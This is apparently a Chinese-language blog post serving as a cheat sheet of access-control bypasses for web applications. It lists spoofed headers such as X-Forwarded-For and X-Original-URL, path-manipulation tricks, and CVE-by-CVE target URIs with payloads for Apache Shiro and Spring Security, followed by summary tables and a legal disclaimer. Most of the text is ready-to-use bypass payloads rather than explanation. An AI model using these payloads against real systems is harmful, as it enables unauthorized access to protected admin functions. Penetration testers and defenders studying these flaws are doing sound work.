首页 > 其他分享 >两面包夹芝士:权限绕过

两面包夹芝士:权限绕过

时间:2024-09-04 10:28:06浏览次数:3  
标签:CVE getinfo admin 0.1 127.0 包夹 权限 payload 芝士

权限绕过

在进行目录爆破的时候,可以通过目录(权限)绕过来访问敏感url,从而进行进一步攻击

使用IP访问

切换为IP访问可以多访问到一层目录

添加Header字段

通过添加Header字段来绕过

Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
User-Agent: Googlebot
User-Agent: Bingbot
User-Agent: iPhone

原生

url编码绕过

对uri进行url编码

../ 绕过

有权限的uri:/user/login

目标uri:/admin/info

payload:/user/login/../../admin/info

;abc 绕过

匹配后缀为getinfo.do则进行权限校验,加入;aaa达成绕过

目标uri:/admin/getinfo.do

payload:/admin/getinfo.do;aaa

%00截断

字面意思0截断

Shiro绕过

CVE-2010-3863

未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过

目标URI:/admin/getinfo

payload:/./admin/getinfo

CVE-2016-6802

未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过

目标URI:/admin/getinfo

payload:/aaa/../admin/getinfo

CVE-2020-1957 SHIRO-682

Spring认为/admin=/admin/

Shiro不这样解析,存在匹配差异

目标URI:/admin/getinfo

payload:/admin/getinfo/

Spring处理畸形路径,会去掉;与下一个/之间的内容

而shiro会直接丢弃;之后的内容,导致绕过(只适用于低版本spring)

目标URI:/admin/getinfo

payload:/api/..;/admin/getinfo

CVE-2020-11989 Shiro-782

ContextPath 绕过

利用SHIRO-682,在开头使用/;/来绕过(只适用于低版本spring)

验证方法:在正常URI前加上/;/还能正常访问则存在

目标URI:/admin/getinfo

payload:/;/admin/getinfo

AntPathMatcher 绕过

CVE-2020-1957的修复中多加了一次url编码,%25%32%66会被解码为/

验证方法:在正常URI的最后一项中插入%25%32%66还能正常访问则存在

目标URI:/admin/getinfo/{username}

payload:/admin/getinfo/aaa%25%32%66aa

(此时username=aaa%25%32%66aa)

CVE-2020-17510

/admin匹配不到/admin/*

使用/admin/%2e在shiro中解码+标准化=/admin

在Spring(高版本)中为/admin/.

/%2e
/%2e/
/%2e%2e
/%2e%2e/

CVE-2020-17523

Shiro调用trim清除了空格,导致/admin/*规则被绕过

目标URI:/admin

payload:/admin/%20

CVE-2020-13933

依赖 PathVariable 注解

Shiro先处理url编码,然后处理分号,最后便准化路径

Spring先处理分号,然后处理url编码,最后表转化路径

这就导致了%3b可以绕过/audit/*的鉴权

目标URI:/admin/getinfo;Tony

payload:/admin/getinfo%3bTony

CVE-2022-32532

Shiro中正则匹配不会匹配换行%0d%0a

目标url:/getinfo/xxxx

payload:/getinfo/T%0aony

Shiro汇总

漏洞 bypass的目标 payload 条件
CVE-2010-3863 远古版本 /admin /./admin
CVE-2020-11989 分号处理 /admin /;/admin
CVE-2016-6802 未标准化 /sys/admin /a/../sys/admin
CVE-2020-1957 1-尾斜杠 /admin /admin/
CVE-2020-1957 2-分号处理 /swagger /api/..;/swagger
CVE-2020-17523 空格处理 /admin /admin/%20
CVE-2020-13933 /getinfo;Tony /getinfo%3bTony 依赖PathVariable
CVE-2022-32532 %0a%0d /getinfo/xxxx /getinfo/t%0aom
CVE-2020-17510 点处理 /admin /admin/%2e spring高版本
/admin/%2e spring高版本
/admin/%2e%2e spring高版
/admin/%2e%2e/ spring高版本

SpringSecurity

antMatchers配置不当

antMatchers("/admin").access("hasRole('ADMIN')")

正常的写法1:antMatchers("/admin/**").access("hasRole('ADMIN')")

正常的写法2:mvcMatchers("/admin").access("hasRole('ADMIN')")

错误配置导致可以通过/admin/,来绕过对/admin 的校验

目标URI:/admin

payload:/admin/

regexMatchers配置不当

.regexMatchers("/admin").access("hasRole('ADMIN')")

正确写法:.regexMatchers("/admin.*?").access("hasRole('ADMIN')")

未写为/admin.**,导致/admin/admin?绕过

目标URI:/admin

payload:/admin?

useSuffixPatternMatch 低版本

spring-webmvc版本在<=4.3.25的情况下suffixPatternMatch默认为True

该方法为是否启用后辍匹配,如果启用,则映射到/users的方法也可以匹配到/users.*

/users 和/users.*是相等的。可以通过添加后缀名绕过

Spring MVC版本在<=4.3.25的情况下suffixPatternMatch默认为True

目标URI:/admin

payload:/admin.jpg

CVE-2022-22978

config中.regexMatchers("/admin/.*").access("hasRole('ADMIN')")

controler中@RequestMapping(value={"/admin/**"},method={RequestMethod.GET})

一个/admin/.*一个/admin/**才会存在此漏洞,controler中指定子路径后漏洞不存在

目标URI:/admin

payload:/admin%0a

payload:/admin%0d

CVE-2016-5007

匹配器处理过于严格,admin!=admin空格

目标URI:/admin

payload:/admin%20

payload:/%0dadmin

CVE-2016-9879

未考虑 URL 路径参数。通过向请求添加带有编码/的 URL 路径参数,可以绕过

目标URI:/admin/getinfo

payload:/admin;%2fgetinfo

CVE-2018-1199

目标URI:/admin/getinfo

payload:/admin%3b%2fgetinfo

CVE-2022-31692

当Spring Security 版本处于特定版本时,可能会存在通过 forward 或 include 调度类型绕过授权规则的风险。

payload:数据包中有字段可以控制跳转处插入要目标url

CVE-2023-34034

配置不当,未以/开头,导致失效

SpringSecurity汇总

漏洞 bypass目标 payload
antMatchers配置不当 /admin /admin/
regexMatchers配置不当 /admin /admin?
useSuffixPatternMatch 低版本 /admin /admin.jpg
CVE-2016-5007 /admin /admin%20
/%0dadmin
CVE-2022-22978 /admin /admin%0a
/admin%0d
CVE-2016-9879 /admin/getinfo /admin;%2fgetinfo
CVE-2018-1199 /admin/getinfo /admin%3b%2fgetinfo
CVE-2022-31692 转发漏洞 数据包中跳转
CVE-2023-34034 配置不当 直接访问

参考链接

https://su18.org/tag/E4M5nwSul/
https://www.cnblogs.com/nice0e3/p/16248252.html
https://xz.aliyun.com/t/13235


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。


标签:CVE,getinfo,admin,0.1,127.0,包夹,权限,payload,芝士
From: https://www.cnblogs.com/Aixve/p/18395950

相关文章

  • java+springboot权限的设计(用户、角色、权限)和前端如何渲染用户所对应的权限菜单
    记得当时在学校的时候,觉得这个实现起来真的超级困难,想想就头大,毫无头绪,即便那时候去查资料看了很多大佬写的文章,看的时候感觉恍然大悟,直拍大腿,但是当我想要动手自己去做的时候,又不知道从哪开始切入,于是一直没有动手去做,直到最近在实习的时候,给了我这个任务,当我带着恐惧去自......
  • AI写作新体验:芝士AI,让每个字都充满智慧!
    在很多人还不会用或者想不到用AI的时候,居然有人成功地打破了信息壁垒,开始尝试用AI解决问题,因为AI可以用来生成论文大纲、润色美化论文、阅读查找参考文献……目前市面上AI写作工具可谓是百花齐放,但良莠不齐,真正专业的论文写作工具其实并不多。下面给大家推荐一个不错的写论文......
  • 芝士AI(paperzz)一天搞定!论文降重神话,75%到3%的秘密!
    在快节奏的现代生活中,写作往往伴随着挑战:时间的紧迫、灵感的枯竭、质量的要求……如何在这样的环境中,保持写作的质量和效率?今天,让我们揭开芝士AI(paperzz)的神秘面纱,探索这款智能写作工具如何帮助我们克服写作难题,激发无限创意。芝士AI(paperzz)论文写作是一款专业满足你的论文写......
  • 芝士AI(paperzz)|论文写作必备指南,一文讲清楚,大学生进!
      众多资深研究人士达成一致的看法是,论文的最艰难一步往往在于启动这个过程。许多学子常常发现自己在精神上并未做好准备来面对这个挑战,因为大多数培训侧重于研究方法和进行实际研究,而很少涉及如何娴熟地书写论文这一方面。这种心理准备上的不足可能成为阻碍他们迈出第一步......
  • Windows编程:绕过UAC弹窗获取管理员权限
    在早些年写一个桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。 什么是UAC(UserAccountControl)用户帐户控制(UAC)是一项Windows安全功能,旨在保护操作系统免受未经授权的更改。当对系统的更改需要管理员级权......
  • svnhooks--给用户提交权限,实现单次提交
    在上一篇文章说到,我们通过getuser的方法向服务器请求到svn配置文件有写权限的用户,下面我们需要把用户显示在前端文件中,简单列一下前端的核心显示代码,具体的css样式就不列出来了<divclass="user-container"id="userList"{%ifcommitSwitch=='true'%}style="display:......
  • Linux权限管理
    Linux权限管理1.Linux权限概述1.1rwx概述Linux权限含义r#read读取,是否可以查看文件内容w#write修改,是否可以修改文件内容x#exec可执行,一般是给命令或系统脚本使用,运行命令1.2查看文件,目录权限[root@Kylin-V10......
  • 【Linux】用户和权限及实用操作------迅速了解用户和权限及其实用操作
    目录......
  • 基本权限和归属、查看权限与归属关系、修改权限、权限数字表示、修改归属关系
    1.基本权限与归属1)基本权限读取:允许查看内容-read        r写入:允许修改内容-write       w可执行:允许运行和切换-excute    x对于文本文件:r读取权限:cat、less、grep、head、tailw写入权限:vim、>、>>x可执行权限:Shell与Python对于目录:r读取权......
  • linux查看目录的权限 设置目录权限
    动一下小手点一下赞。谢谢!你的赞就是我更新的动力。在Linux系统中,每个文件和目录都有特定的权限控制,包括读、写和执行权限。这些权限对于保护文件和目录的安全性非常重要,因此在日常使用中,我们经常需要查看文件和目录的权限设置。本文将介绍如何在Linux系统中查看目录的权限,并说明......